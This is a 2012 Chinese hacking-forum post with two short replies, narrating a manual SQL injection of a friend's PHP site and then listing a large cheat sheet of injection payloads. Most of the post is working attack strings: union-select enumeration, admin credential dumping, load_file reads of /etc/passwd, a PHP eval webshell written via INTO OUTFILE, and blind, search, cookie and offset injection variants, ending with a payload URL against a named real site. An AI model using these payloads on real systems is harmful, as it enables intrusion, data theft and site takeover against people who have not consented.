找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2882|回复: 2
打印 上一主题 下一主题

手工注入拿下一站

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-23 14:47:22 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~3 B8 a& T: f, J2 T4 L* g
让我看看,既然人家开口了,我也不好拒绝,那就看看吧?; I5 c  j7 k* V- _8 b( [# G  w! |
我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。
. O1 j' S* B8 w, p4 i2 J0 r! D如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)
: w2 z( @. S5 E8 K1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)$ u1 T3 e+ d& o8 J0 R- e
这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:
/ F9 W4 Q, W6 L2 _" B; w( Z3 _3 u8 vWarning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
& {3 ?+ C% {0 I- H, G) D5 F/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入
8 |- e0 ~, n8 {( a5 h9 m                        
' }0 K) d$ H3 l3 s7 `; N9 n, o2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,0 G! B% Q8 F8 c; l+ A
3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3   ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意7 B8 n" ?* Y0 P$ e
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息
1 l/ W1 ~- I& K" p! W9 j5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。' ^& A" c( P5 z1 o  S
有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,+ D( S  b5 B) Z0 v( D! f& r, U7 m
2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。
- R: L2 P. H2 I1 c7 Z+ G7 S我就用的是第二个思路,
' i' J+ H" I* G2 [提交and 1=2 union select 1,2,3,4,table_name,6,7,8  from information_schema.tables where table_schema=database() limit 0,1--  
& l1 K5 f) i% S5 A, s! u8 x6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,
- R' v# z, [) `* X$ K! j提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--2 F, _" x+ r3 V/ W4 B5 X1 @3 R
注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。" \9 W) f& v. W. y
7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????- n" U' ^+ G' m* z! x
是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....) l9 M' X" t! e8 o; T9 ]" p
提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --
4 V  l* {" n' d8 K" L+ y% |; w* U8 V然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,0 Z% D" i2 i' H% z  `/ U
调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......
, M5 q# i- q" h" S( h( l, Y/ \下面是一些很普遍注入方式资料:- {% `& h9 }8 e# j% i
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='% v8 v% t1 k& \0 f& k, t; k& }
拆半法! S- M; e* ^  y% w, e+ \
######################################
& e" |" T, z$ N; R- C2 T* z) k0 l4 ^( Xand exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。
  m! ?% v# x4 H3 uand exists (select * from admin)
6 M% t3 B. D$ v' X: J, oand exists(select id from admin)
) B5 |* }$ b( r9 }and exists(select id from admin where id=1)/ H( |+ ^0 ^- e* e
and exists(select id from admin where id>1) " Y8 n; V+ p( i3 w3 N
然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围 8 A; o8 t2 d% |% \
and exists (select username from admin)5 K/ [& |7 V5 b  _5 D
and exists (select password from admin). W; O1 c  a/ d1 H& M" R
and exists (select id from admin where len(username)<10 and id=1)
, X( [4 m3 ^3 Q% ]4 uand exists (select id from admin where len(username)>5 and id=1)
3 z8 B9 V0 |; Z. b1 d* Aand exists (select id from admin where len(username)=6 and id=1)! @$ y4 k1 p& H6 I! Z
and exists (select id from admin where len(password)<10 and id=1)+ A- q$ x" @4 V
and exists (select id from admin where len(password)>5 and id=1)- y. g, l5 z# t2 d! _
and exists (select id from admin where len(password)=7 and id=1)
9 l$ Q+ e: F  y* |+ a3 band (select top 1 asc(mid(username,1,1)) from admin)=97/ K6 t+ Q  j- `* _6 d8 k7 L) K
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。8 v! B' y' z- p' h( p7 v
猜第二位把username,1,1改成username,2,1就可以了。
9 Z+ [' u& S& N- X" C) N猜密码把username改成password就OK了
. ^; U$ N, R! c##################################################
& ?* h$ \0 u( c5 `" ?/ y搜索型注入
$ M4 X9 B! X9 k$ y4 {3 q% j##################################3 N: a. b( |% o' x+ @3 o
%' and 1=1 and '%'='3 s/ o+ i' ~  P# ^
%' and exists (select * from admin) and '%'='7 Q; _" P- S% L0 w$ e8 g7 N
%' and exists(select id from admin where id=1) and '%'='
4 s" Q! C  `1 r%' and exists (select id from admin where len(username)<10 and id=1) and '%'='% s" I! O  f& r) e, O4 J, f( j
%' and exists (select id from admin where len(password)=7 and id=1) and '%'='& e' _  o4 G/ J8 X* j/ W2 s1 W
%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='6 p8 n$ L2 ?* {3 s' R. O
这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='. g, I  ^' [9 ?2 P2 g* _1 o
对于MSSQL数据库,后面可以吧 and '%'='换成--, x6 c4 d+ @+ n! `/ v0 W" ], `
还有一点搜索型注入也可以使用union语句。% c" z( `* O: L4 V6 O' Y
########################################################: x+ _, c7 `) I5 p$ k, \
联合查询。1 ?# x3 F1 S& g! h1 Z- B
#####################################9 m- H2 V1 U2 N4 L( [
order by 10
( W6 @. y# N0 K! `; s( Z" Cand 1=2 union select 1,2,3,4,5,6,7,8,9,10
: \: v4 w' W* |. p! vand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
* k# m, g# Z% U0 y4 }0 Aand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1
2 @$ J# u  `/ e' N很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)5 A  P0 N) x( ^9 d
###################################
' R) u3 Q+ u: m. B# Bcookie注入4 n4 x7 Y* I3 d7 g6 V
###############################
2 p" F2 a6 k1 z: j7 phttp://www.******.com/shownews.asp?id=127
9 [4 P8 B, p8 t. k. Shttp://www.******.com/shownews.asp
- {" T; W, x2 q, X+ oalert(="id="+escape("127"));
( A# ^6 Y. c) |alert(="id="+escape("127 and 1=1"));
% Q* d0 N& c0 i+ j5 Y2 Balert(="id="+escape("127 order by 10"));
% X" r% }+ F1 \5 k8 e9 D6 \+ Ralert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));* ^- p& `! f% Y
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));5 v* f0 S$ X7 _$ H- Q1 `
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。
6 u4 D, {& N( j+ t###################################
* k* N' w8 i  _偏移注入
/ A0 Y. V% |7 ?' E5 C- {+ _, v3 E3 S###########################################################+ t( L1 Q, b$ O7 z
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
, S3 f; a! ^! Gunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin
/ Q: O! _, N! M+ s+ T3 munion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
) a% F. J/ G1 O9 \5 R* Punion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
( J( B. P6 P1 ~/ j0 h" zunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)6 l: o7 \$ L2 m
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)' F* O: r5 E9 h
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on
. I* z9 [) I" S& Ia.id=d.id)
3 J* \- u  e$ k2 u! iand 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)' `5 {# K( Y9 r+ N& i
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) * s* N* J; h/ Q: J
  + c& y# W! B) b
============================================================================================================* h- j9 u; D4 O5 a: i7 ?
1.判断版本, i2 z$ t6 |4 x5 ~4 }
and ord(mid(version(),1,1))>51
1 M+ B, }4 {: g; ?返回正常,说明大于4.0版本,支持ounion查询) f6 K6 m. |8 m9 ^3 w$ T
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解
& ~  x' \+ l/ X( ?and 2=4 union select 1,2,3,4,5,6,7,8,9--# G( \- g0 D' ^; c  T, s
3.查看数据库版本及当前用户,  K2 U1 @: a+ t7 ^; D8 m
and 2=4 union select 1,user(),version(),4,5,6,7,8,9--% Q8 b' r) x! L& u
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假," \. F4 ?  U& C/ m, V- O
4.判断有没有写权限! |. r/ _( G, _' B4 |5 r- y
and (select count(*) from MySQL.user)>0-- * [% R' }+ m, }; X
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1
6 ~7 [) ~+ Z' ~1 D9 N+ q3 `用不了这个命令,就学习土耳其黑客手法,如下
! D4 o# ?; Q+ R3 K( }* f3 \- pand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
4 A8 h6 v. z' q; V' G6.爆表,爆库2 y  ~3 \: D" }0 W4 b, {
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--( w3 \! c' M8 I1 B; v$ e. I
7.爆列名,爆表6 D" |- I  P! J
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--- R" V- y# L5 G* z7 o: K" ?! }9 c
8.查询字段数,直接用limit N,1去查询,直接N到报错为止。% V0 g& q; g2 [4 N+ }5 o& e
and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--; V6 \& m/ [, Y, s
9.爆字段内容; F4 S: L% u. ^3 t, |
and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--8 @: F0 Q! P4 Q" t
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--
回复

使用道具 举报

板凳
发表于 2012-9-25 18:53:39 | 只看该作者
谢谢分享,学习思路啊
回复 支持 反对

使用道具 举报

沙发
发表于 2012-9-24 21:40:46 | 只看该作者
非常好的归纳。坐下慢慢看~
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表